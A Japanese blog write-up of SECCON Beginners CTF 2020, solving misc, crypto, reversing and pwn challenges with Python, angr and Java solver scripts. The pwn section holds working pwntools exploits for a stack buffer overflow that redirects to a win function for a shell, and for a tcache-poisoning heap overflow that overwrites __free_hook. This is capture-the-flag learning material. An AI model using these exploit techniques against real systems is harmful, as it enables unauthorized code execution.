amaga38のブログ

twitter: @amaga38

SECCON Beginers CTF 2020 write-up

2020/05/23 14:00 - 05/24 14:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して2136pt. 全体39位でした。

MISC

Welcome (50pt)

Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

Rulesに書いてあるDiscordのサーバーに参加したら、フラグの投稿があった。

Flag: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode (53pt)

Do you know emo-emo-encode?

emoemoencode.txt

テキストの中身は絵文字がひたすら並んでかいてあるだけ。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

とりあえず文字コードを眺めて、先頭からフラグ形式のctf4b{になるようにそれぞれの文字の4バイト目を計算してみる。

$ hexdump -C emoemoencode.txt 
00000000  f0 9f 8d a3 f0 9f 8d b4  f0 9f 8d a6 f0 9f 8c b4  |................|
00000010  f0 9f 8d a2 f0 9f 8d bb  f0 9f 8d b3 f0 9f 8d b4  |................|
00000020  f0 9f 8d a5 f0 9f 8d a7  f0 9f 8d a1 f0 9f 8d ae  |................|
00000030  f0 9f 8c b0 f0 9f 8d a7  f0 9f 8d b2 f0 9f 8d a1  |................|
00000040  f0 9f 8d b0 f0 9f 8d a8  f0 9f 8d b9 f0 9f 8d 9f  |................|
00000050  f0 9f 8d a2 f0 9f 8d b9  f0 9f 8d 9f f0 9f 8d a5  |................|
00000060  f0 9f 8d ad f0 9f 8c b0  f0 9f 8c b0 f0 9f 8c b0  |................|
00000070  f0 9f 8c b0 f0 9f 8c b0  f0 9f 8c b0 f0 9f 8d aa  |................|
00000080  f0 9f 8d a9 f0 9f 8d bd  0a                       |.........|
00000089

3バイト目が0x8Cなら4バイト目を-0x80、0x8Dなら-0x40することで、デコードできた。

def main():
    with open('emoemoencode.txt', 'rb') as f:
        data = f.read().splitlines()[0]

    ans = ''
    for idx in range(0, len(data), 4):
        if data[idx+2] == 0x8D:
            ans += chr(data[idx+3] - 0x40)
        elif data[idx+2] == 0x8C:
            ans += chr(data[idx+3] - 0x80)
    print('FLAG:', ans)

main()

FLAG: ctf4b{stegan0graphy_by_em000000ji}

Crypto

R&B (52pt)

Do you like rhythm and blues?

r_and_b.zip

ファイルの中身は、エンコードしたプログラムとエンコード結果。

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")

def rot13(s):
    # snipped

def base64(s):
    # snipped

for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

文字列の先頭がBなら以降の文字列はBase64エンコード、RならRot13されているだけ。

import base64
import codecs

def main():
    with open('encoded_flag', 'r') as f:
        encoded_FLAG = f.readline()
    print('encoded:', encoded_FLAG)
    FLAG = encoded_FLAG
    while True:
        t = FLAG
        if t[0] == 'B':
            # decode base64
            FLAG = base64.b64decode(t[1:]).decode('utf-8')
        elif t[0] == 'R':
            # rot13 rev
            FLAG = codecs.decode(t[1:], 'rot13')
        else:
            print(FLAG)
            break

main()

FLAG: ctf4b{rot_base_rot_base_rot_base_base}

Reversing

mask (62pt)

The price of mask goes down. So does the point (it's easy)!

(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)

ファイルはELFファイルで、コマンド引数にフラグを指定し、正しいとCorrect!と表示される。

Usage: ./mask [FLAG]

IDAで眺めてみると、指定したFLAG文字列を0x75でAND演算した文字列、0xEBでAND演算した文字列がそれぞれ規定の結果になるかどうかで正しいFLAGか判断している。

f:id:amaga38:20200524145157j:plain
maskのFLAGチェック処理

  • FLAG文字列の各文字 AND 0x75 → atd4`qdedtUpetepqeUdaaeUeaqau
  • FLAG文字列の各文字 AND 0xEB → c`b bk`kj`KbababcaKbacaKiacki

0x75 OR 0xEB -> 0xFFなので、それぞれ1文字ずつOR演算していけば、元のデータに復元できる。

# -*- coding: utf-8 -*-
s = 'atd4`qdedtUpetepqeUdaaeUeaqau'
s1 = 'c`b bk`kj`KbababcaKbacaKiacki'
ans = ''
for i,j in zip(s, s1):
    ans += chr(ord(i) | ord(j))

print(ans)
# 'ctf4b{dont_reverse_face_mask}'

FLAG: ctf4b{dont_reverse_face_mask}

yakisoba (156pt)

Would you like to have a yakisoba code?

(Hint: You'd better automate your analysis)

準入力からの文字列を比較するプログラム。比較処理がごちゃごちゃしてるので、久しぶりにangrを使ってみる。

f:id:amaga38:20200524161337j:plain

ソルバー

# -*- coding: utf-8 -*-
import angr
import claripy

def main():
    key_len = 31
    pj = angr.Project('./yakisoba')
    input = claripy.BVS('input', 8*key_len)

    init_state = pj.factory.entry_state(args=['./yakisoba'])
    for b in input.chop(key_len):
        init_state.add_constraints(b != 0)

    sm = pj.factory.simgr(init_state)
    # main
    sm.explore(find=0x4006D2, avoid=[0x4006F7])
    for f in sm.found:
        print(f.posix.dumps(0))
        print(f.posix.dumps(1))


if __name__ == '__main__':
    main()

'''
$ python3 solve.py 
WARNING | 2020-05-23 19:47:08,499 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00'
b'FLAG: '
'''

FLAG: ctf4b{sp4gh3tt1_r1pp3r1n0}

ghost (279pt)

A program written by a ghost 👻

ファイルの中身は、.gs拡張子のスクリプトっぽいファイルと、それの出力っぽいoutput.txtというファイル

chall.gs

/flag 64 string def
/output 8 string def
(%stdin) (r) file flag readline not { (I/O Error\n) print quit }
if 0 1 2 index length {
    1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch
    } repeat (\n) print quit

output.txt

3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094 

スクリプトの正体はなにかなぁと調査。問題文のwritten by ghostを参考にGhostscript関連かなとあたりをつけて、Postscriptの文法ぽいとわかった。

このあたりを参考に読み解き。

pythonに直すとこんな感じっぽい。

# -*- coding: utf-8 -*-
flag = ''
output = ''
flag = input('')
if not flag:
    print('I/O Error')
mul = 1
for idx in range(len(flag)):
    get_ord = ord(flag[i])
    tmp = get_ord ^ (idx + 1)
    tmp = tmp * mul
    s = 1
    for j in range(463):
        s *= tmp
        s %= 64711
    print(s)  # output
    s %= 128
    mul = s + 1

ASCIIコードの印字可能文字範囲で1文字ずつoutput.txtの整数値になる文字を探索するソルバーを書いた。

output = '3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094'
output = list(map(int, output.split()))

ans = ''
mul = 1
for idx in range(len(output)):
    for p in range(0x20, 0x7f):
        get_ord = p
        tmp = get_ord ^ (idx + 1)
        tmp = tmp * mul

        s = 1
        for j in range(463):
            s *= tmp
            s %= 64711
        
        if s == output[idx]:
            print(idx, s, chr(p))
            ans += chr(p)

            s %= 128
            mul = s + 1
            break
print('FLAG:', ans)
# FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

FLAG: FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

siblangs (363pt)

Well, they look so similar... siblangs.apk

(SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229)

APK問題。とりあえずapktool、dex2jarでjarへ変換。jd-duiで怪しいクラスを調査。es.o0i.challengeappにValidateFlagModule.classとかあって怪しい。validateというメソッドでAES復号したローカルの文字列と入力された文字列を比較してるっぽい。

f:id:amaga38:20200524163228j:plain

鍵も同じクラスに変数として定義されている。

private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");

コードを抜き出して比較しているローカル文字列を表示してみると、FLAGの後半っぽい文字列が得られた。

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.GCMParameterSpec;

public class Solve {
    //private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
    
    public static void main(String[] args) {
        SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
        
        byte[] arrayOfByte = new byte[43];
        arrayOfByte[0] = 95;
        arrayOfByte[1] = -59;
        arrayOfByte[2] = -20;
        arrayOfByte[3] = -93;
        arrayOfByte[4] = -70;
        arrayOfByte[5] = 0;
        arrayOfByte[6] = -32;
        arrayOfByte[7] = -93;
        arrayOfByte[8] = -23;
        arrayOfByte[9] = 63;
        arrayOfByte[10] = -9;
        arrayOfByte[11] = 60;
        arrayOfByte[12] = 86;
        arrayOfByte[13] = 123;
        arrayOfByte[14] = -61;
        arrayOfByte[15] = -8;
        arrayOfByte[16] = 17;
        arrayOfByte[17] = -113;
        arrayOfByte[18] = -106;
        arrayOfByte[19] = 28;
        arrayOfByte[20] = 99;
        arrayOfByte[21] = -72;
        arrayOfByte[22] = -3;
        arrayOfByte[23] = 1;
        arrayOfByte[24] = -41;
        arrayOfByte[25] = -123;
        arrayOfByte[26] = 17;
        arrayOfByte[27] = 93;
        arrayOfByte[28] = -36;
        arrayOfByte[29] = 45;
        arrayOfByte[30] = 18;
        arrayOfByte[31] = 71;
        arrayOfByte[32] = 61;
        arrayOfByte[33] = 70;
        arrayOfByte[34] = -117;
        arrayOfByte[35] = -55;
        arrayOfByte[36] = 107;
        arrayOfByte[37] = -75;
        arrayOfByte[38] = -89;
        arrayOfByte[39] = 3;
        arrayOfByte[40] = 94;
        arrayOfByte[41] = -71;
        arrayOfByte[42] = 30;
        
        try {
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12);
            cipher.init(Cipher.DECRYPT_MODE, secretKey, gCMParameterSpec);
            arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12);
            
            String s = new String(arrayOfByte);
            System.out.println(s);  // -> '1pt_3verywhere}'
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

残りの前半部分を探索。jar変換のときについでにできたapkのリソースをctfgrepしてみると怪しいスクリプトっぽいのを発見。React関連?のリソースぽい。

 grep -r ctf ./siblangs-d/
./siblangs-d/assets/index.android.bundle:__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t){(0,c.default)(v,t);var o,y=(o=v,function(){var t,l=(0,s.default)(o);if(V()){var n=(0,s.default)(this).constructor;t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);return(0,u.default)(this,t)});function v(){var t;(0,l.default)(this,v);for(var o=arguments.length,n=new Array(o),c=0;c<o;c++)n[c]=arguments[c];return(t=y.call.apply(y,[this].concat(n))).state={flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},t.handleFlagChange=function(o){t.setState({flagVal:o})},t.onPressValidateFirstHalf=function(){if("ios"===h.Platform.OS){for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;n<t.state.xored.length;n++)if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))return void h.Alert.alert("Validation A Failed","Try again...");h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},t.onPressValidateLastHalf=function(){"android"===h.Platform.OS?p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},t}return(0,n.default)(v,[{key:"render",value:function(){return f.default.createElement(f.default.Fragment,null,f.default.createElement(h.StatusBar,{barStyle:"dark-content"}),f.default.createElement(h.SafeAreaView,null,f.default.createElement(h.ScrollView,{contentInsetAdjustmentBehavior:"automatic",style:S.scrollView},f.default.createElement(h.View,{style:S.body},f.default.createElement(h.View,{style:S.sectionContainer},f.default.createElement(h.Text,{style:S.sectionTitle},"Hello!"),f.default.createElement(h.Text,{style:S.sectionDescription},"Put your FLAG into the box below:"),f.default.createElement(h.TextInput,{style:S.textInput,value:this.state.flagVal,onChangeText:this.handleFlagChange}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateFirstHalf,title:"Validate A",color:"#a44593"}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateLastHalf,title:"Validate B",color:"#a44593"}))))))}}]),v})(f.Component),S=h.StyleSheet.create({textInput:{backgroundColor:y.Colors.dark,color:y.Colors.white},btn:{padding:18},scrollView:{backgroundColor:y.Colors.lighter},engine:{position:'absolute',right:0},body:{backgroundColor:y.Colors.white},sectionContainer:{marginTop:32,paddingHorizontal:24},sectionTitle:{fontSize:24,fontWeight:'600',color:y.Colors.black},sectionDescription:{marginTop:8,fontSize:18,fontWeight:'400',color:y.Colors.dark},highlight:{fontWeight:'700'},footer:{color:y.Colors.dark,fontSize:12,fontWeight:'600',padding:4,paddingRight:12,textAlign:'right'}}),A=v;e.default=A},390,[9,1,26,27,37,39,36,56,2,391,399]);

怪しい箇所の抜き出し

flagVal:"ctf4b{",
xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},
t.handleFlagChange=function(o){
t.setState({flagVal:o})},
                        t.onPressValidateFirstHalf=function(){
                            if("ios"===h.Platform.OS){
                                for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;
                                    n<t.state.xored.length;n++)
                                        if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))
                                        return void h.Alert.alert("Validation A Failed","Try again...");

flag文字列とAKeyForios10.3という文字列をxorした結果がxoredの値になるので、ASCIIコードの印字可能範囲で探索。

# coding: utf-8 -*-
flagVal = 'ctf4b{'
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
ios = 'AKeyForios10.3'

ans = ''
for i in range(len(flagVal), len(xored)):
    print(i)
    for f in range(0x20, 0x7e):
        t = f ^ ord(ios[i % len(ios)])
        if t == xored[i]:
            print(i, t, chr(f))
            ans += chr(f)
            break
print(flagVal + ans)
# ctf4b{ctf4b{jav4_and_j4va5cr

後半部分と合わせて完了。

FLAG: ctf4b{jav4_and_j4va5cr1pt_3verywhere}

Pwn

Beginner's Stack (134pt)

Let's learn how to abuse stack overflow!

nc bs.quals.beginners.seccon.jp 9001

Stack BoFしてwinという関数を呼び出したら勝ちらしい。

実行してみた。Stackの情報まで出してくれる。優しみ。Stack BoFでreturnアドレスを書き換える。

$ ./chall
Your goal is to call `win` function (located at 0x400861)
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffde30d9d30 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffde30d9d38 | 0x0000000000000000 |
                   +--------------------+
0x00007ffde30d9d40 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffde30d9d48 | 0x00007f0183db5190 |
                   +--------------------+
0x00007ffde30d9d50 | 0x00007ffde30d9d60 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffde30d9d58 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffde30d9d60 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffde30d9d68 | 0x00007f0183ba80b3 | <-- return address (main)
                   +--------------------+
0x00007ffde30d9d70 | 0x00007f0183db3620 |
                   +--------------------+
0x00007ffde30d9d78 | 0x00007ffde30d9e58 |
                   +--------------------+
Input: 

いきなりwinに飛ぶとRSPのアラインメントがダメだと教えてくれる。優しみ。system関数の呼び出しで16byte alignされていないとsystem関数内でSEGVになるらしい。

f:id:amaga38:20200524164810j:plain

適当なreturn命令があるところに1度飛ばして、そのあとwinへ飛ぶようにstackを調整したらshellが取れた。

from pwn import *

srv = 'bs.quals.beginners.seccon.jp'
port = 9001
bin = ELF('./chall')

conn = remote(srv, port)
t = conn.recvuntil(b'Input:')
print(t)

buf = b'A' * 32
buf += b'\x00' * 8
buf += b'\xf0\x07\x40\x00' + b'\x00' * 4  # returnだけしてくる
buf += b'\x61\x08\x40\x00' + b'\x00' * 4  # winのアドレス

print(buf)
conn.sendline(buf)
print('sendline')
conn.interactive()
conn.close()

'''
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 
'''

FLAG: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap (293pt)

Let's learn how to abuse heap overflow!

nc bh.quals.beginners.seccon.jp 9002

ファイルの提供はなし。ncでつなぐと1~6のコマンドを送信できるプログラムにつながる。heapの状況とtcacheの状況も確認できる。優しみ。

以下の操作でフラグが取れた。

    1. B = malloc
    1. free(B) // tcacheにつなげる
    1. read(0, A, 0x80) // 元Bのチャンクの領域を上書きして、tcache -> 元B -> __free_hook 4. の状態をつくる
    1. B = malloc // tcacheからBのチャンクを取得。tcacheは__free_hook のアドレスだけ残る。
    1. read(0, A, 0x80) // Bのチャンクのサイズ情報をtcacheにつながらない大きなサイズへと上書き
    1. free(B) // tcacheにつながらない。残りは __free_hookのアドレス
    1. B = malloc // free_hookのアドレスがくる。read()で __free_hookのアドレスが指す情報にwinのアドレスを上書き
    1. B = malloc // __free_hookが呼び出されるタイミングで、winが呼ばれて、flagゲット
# -*- coding: utf-8 -*-

"""
$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f8ce802f8e8
 <win>: 0x555afa892465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 
"""
import sys
import re
import time
from pwn import *

def send_cmd(conn, cmd, buf=b''):
    print('Send Command:', cmd)
    time.sleep(1)
    conn.sendline(cmd)
    if cmd == b'1' or cmd == b'2':
        time.sleep(1)
        conn.sendline(buf)
    t = conn.recvuntil(b'> ')
    if cmd == b'4' or cmd == b'5':
        print(t.decode('utf-8'))


def main():
    srv = 'bs.quals.beginners.seccon.jp'
    port = 9002

    conn = remote(srv, port)
    t = conn.recvuntil(b'\n> ')
    print(t)

    # get address of __free_hook, win
    free_hook_addr = re.search(b'(?<=\<__free_hook\>: )0x[0-9a-f]+', t)[0]
    win_addr = re.search(b'(?<=\<win\>: )0x[0-9a-f]+', t)[0]

    print('free_hook', free_hook_addr)
    print('win', win_addr)

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)

    # 3. free(B), B = NULL
    send_cmd(conn, b'3')

    # 1. read(0, A, 0x80)
    buf = b'A' * 0x18
    buf += b'\x21' + b'\x00' * 7
    buf += p64(int(free_hook_addr, 16))
    send_cmd(conn, b'1', buf)

    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)
    
    # 1. read(0, A, 0x80)
    # for free chunk B to not tcache area
    buf = b'A' * 0x18
    buf += b'\x01' + b'\x01' + b'\x00' * 6
    send_cmd(conn, b'1', buf)
    send_cmd(conn, b'4')
    # 3. free(B), B = NULL
    send_cmd(conn, b'3')
    
    # 2. B = malloc, read
    # overwrite __free_hook with win
    buf = p64(int(win_addr, 16))
    send_cmd(conn, b'2', buf)
    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', buf)
    #send_cmd(conn, b'3')

    conn.interactive()
    conn.close()

main()

'''
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
'''

FLAG: ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

以上!